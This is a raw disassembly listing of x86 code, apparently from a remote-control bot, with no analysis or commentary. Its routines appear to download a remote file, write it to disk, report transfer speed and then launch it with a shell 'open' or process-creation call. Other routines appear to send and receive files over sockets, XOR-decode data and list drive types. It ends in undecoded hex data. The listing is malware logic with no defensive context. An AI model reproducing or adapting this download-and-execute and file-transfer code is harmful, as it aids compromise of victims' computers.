; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: ___:00416241j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB978
push dword ptr [ebp-2Eh]
call dword_4CB904
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: ___:004162B0j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: ___:0041628Bj
movsx eax, al
loc_416295: ; CODE XREF: ___:00416290j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41B9C0
cmp [ebp+8], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC
test eax, eax
jz short loc_4162C8
push offset unk_437FEC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: ___:004162BCj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 2740762h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: ___:004162E6j
push esi
push eax
nop
call near ptr 2780B67h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
push eax
call dword_4CB9D0
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_438090
push eax
call sub_41C266
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB9BC
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_438078
push eax
push dword ptr [ebp-1FCh]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: ___:00416380j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_4163DB
push offset unk_438054
loc_4163C8: ; CODE XREF: ___:0041620Aj
; ___:00416248j ...
lea eax, [ebp-3FCh]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: ___:004163C1j
push edi
call dword_4CBA6C
cmp [ebp+8], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: ___:00416484j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp-4], eax
loc_4163FD: ; CODE XREF: ___:004163F8j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41BF70
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 27C0000h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 27310DDh
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CBA24
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CB9EC
cmp eax, ebx
jl loc_416522
mov eax, [ebp-4]
cmp eax, ebx
jl loc_416522
sub [ebp+8], eax
jnz loc_4163F0
mov edi, [ebp-18h]
loc_41648D: ; CODE XREF: ___:004163E5j
push dword ptr [ebp-8]
nop
call near ptr 26A0000h
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416CC9
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CBA60
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_438028
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: ___:0041639Dj
add esp, 14h
loc_4164C9: ; CODE XREF: ___:004163D6j
cmp [ebp-50h], esi
jnz short loc_4164EE
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: ___:004164CCj
lea eax, [ebp-3FCh]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C
loc_416506: ; CODE XREF: ___:004164FDj
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push esi
call near ptr 2720000h
nop
loc_416522: ; CODE XREF: ___:00416470j
; ___:0041647Bj
push esi
mov esi, offset dword_438010
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 2720000h
loc_416563: ; DATA XREF: sub_401ACD+798o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 26C0000h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429AC8
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 2740762h
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: ___:004165E4j
push eax
call near ptr 26A0000h
nop
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: ___:0041660Cj
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_416646
push offset unk_43813C
loc_416633: ; CODE XREF: ___:004165EBj
; ___:00416613j
lea eax, [ebp-4C4h]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: ___:0041662Cj
mov esi, 1000h
loc_41664B: ; CODE XREF: ___:004166B1j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41DB54
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB9D0
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CBA24
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: ___:0041667Bj
lea eax, [ebp-4C4h]
push offset dword_438010
push eax
call sub_41C266
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
lea eax, [ebp-4C4h]
push eax
call sub_415D38
push dword ptr [ebp-4]
call sub_41BA3B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push 1
call near ptr 2720000h
nop
loc_416712: ; CODE XREF: ___:00416672j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_438110
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: ___:00416641j
cmp [ebp-14h], ebx
jnz short loc_416767
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: ___:00416745j
lea eax, [ebp-4C4h]
push eax
call sub_415D38
cmp [ebp-4], ebx
pop ecx
jz short loc_416782
push dword ptr [ebp-4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: ___:00416777j
cmp [ebp+8], ebx
jbe short loc_416790
push dword ptr [ebp+8]
call dword_4CBA6C
loc_416790: ; CODE XREF: ___:00416785j
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push ebx
call near ptr 2720000h
nop
loc_4167A0: ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB984
call dword_4CB8D8
cmp eax, esi
mov [ebp-18h], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 2740762h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_416867
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_438358
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_41684A
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: ___:00416828j
lea eax, [ebp-510h]
push eax
call sub_415D38
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
pop ecx
push esi
call near ptr 2720000h
nop
loc_416867: ; CODE XREF: ___:00416808j
xor edi, edi
call near ptr 26D0CBDh
nop
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp-1Ch], eax
loc_416881: ; CODE XREF: ___:00416954j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB8E0
cmp [ebp-34h], esi
jz short loc_4168C5
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: ___:004168B2j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 273186Ah
cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4168ED
mov eax, [ebp+8]
loc_4168ED: ; CODE XREF: ___:004168E8j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: ___:004168DFj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416910
cmp edi, [ebp-3Ch]
ja short loc_41695A
loc_416910: ; CODE XREF: ___:00416909j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: ___:00416916j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438308
loc_41693A: ; CODE XREF: ___:00416928j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41C266
add esp, 10h
cmp [ebp+8], esi
ja loc_416881
loc_41695A: ; CODE XREF: ___:0041690Ej
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_4169AF
cmp edi, [ebp-3Ch]
jz short loc_4169AF
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_4382DC
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: ___:00416964j
; ___:00416969j
nop
call near ptr 26D0CBDh
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 26A0000h
push dword ptr [ebp-1Ch]
call sub_41BA91
cmp [ebp-38h], esi
pop ecx
jz short loc_416A39
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416A39
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_4382B4
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: ___:004169E1j
; ___:004169F3j
cmp [ebp-14h], esi
jz loc_416C79
cmp dword ptr [ebp-44h], 1
jz loc_416B34
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43827C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416AB4
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: ___:00416A92j
lea eax, [ebp-510h]
push eax
call sub_415D38
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp-30h], esi
jnz loc_416C79
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_438260
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: ___:00416A46j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43821C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416B9C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: ___:00416B7Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_43DB88
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 26A02FDh
nop
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C
call sub_4188A6
push esi
nop
call near ptr 77E75CB5h
loc_416C1E: ; CODE XREF: ___:00416C0Aj
lea eax, [ebp-148h]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: ___:004167E5j
lea eax, [ebp-248h]
push eax
push offset unk_4381BC
loc_416C38: ; CODE XREF: ___:00416C2Aj
lea eax, [ebp-510h]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416C6C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: ___:00416C4Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: ___:00416A3Cj
; ___:00416AC5j ...
push dword ptr [ebp-18h]
call dword_4CBA08
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
push esi
call near ptr 2720000h
nop
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: ___:004168BEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D35F8
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383FC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset off_438438
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; ---------------------------------------------------------------------------
dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh
; DATA XREF: sub_401ACD+67C1o
dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh
dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h
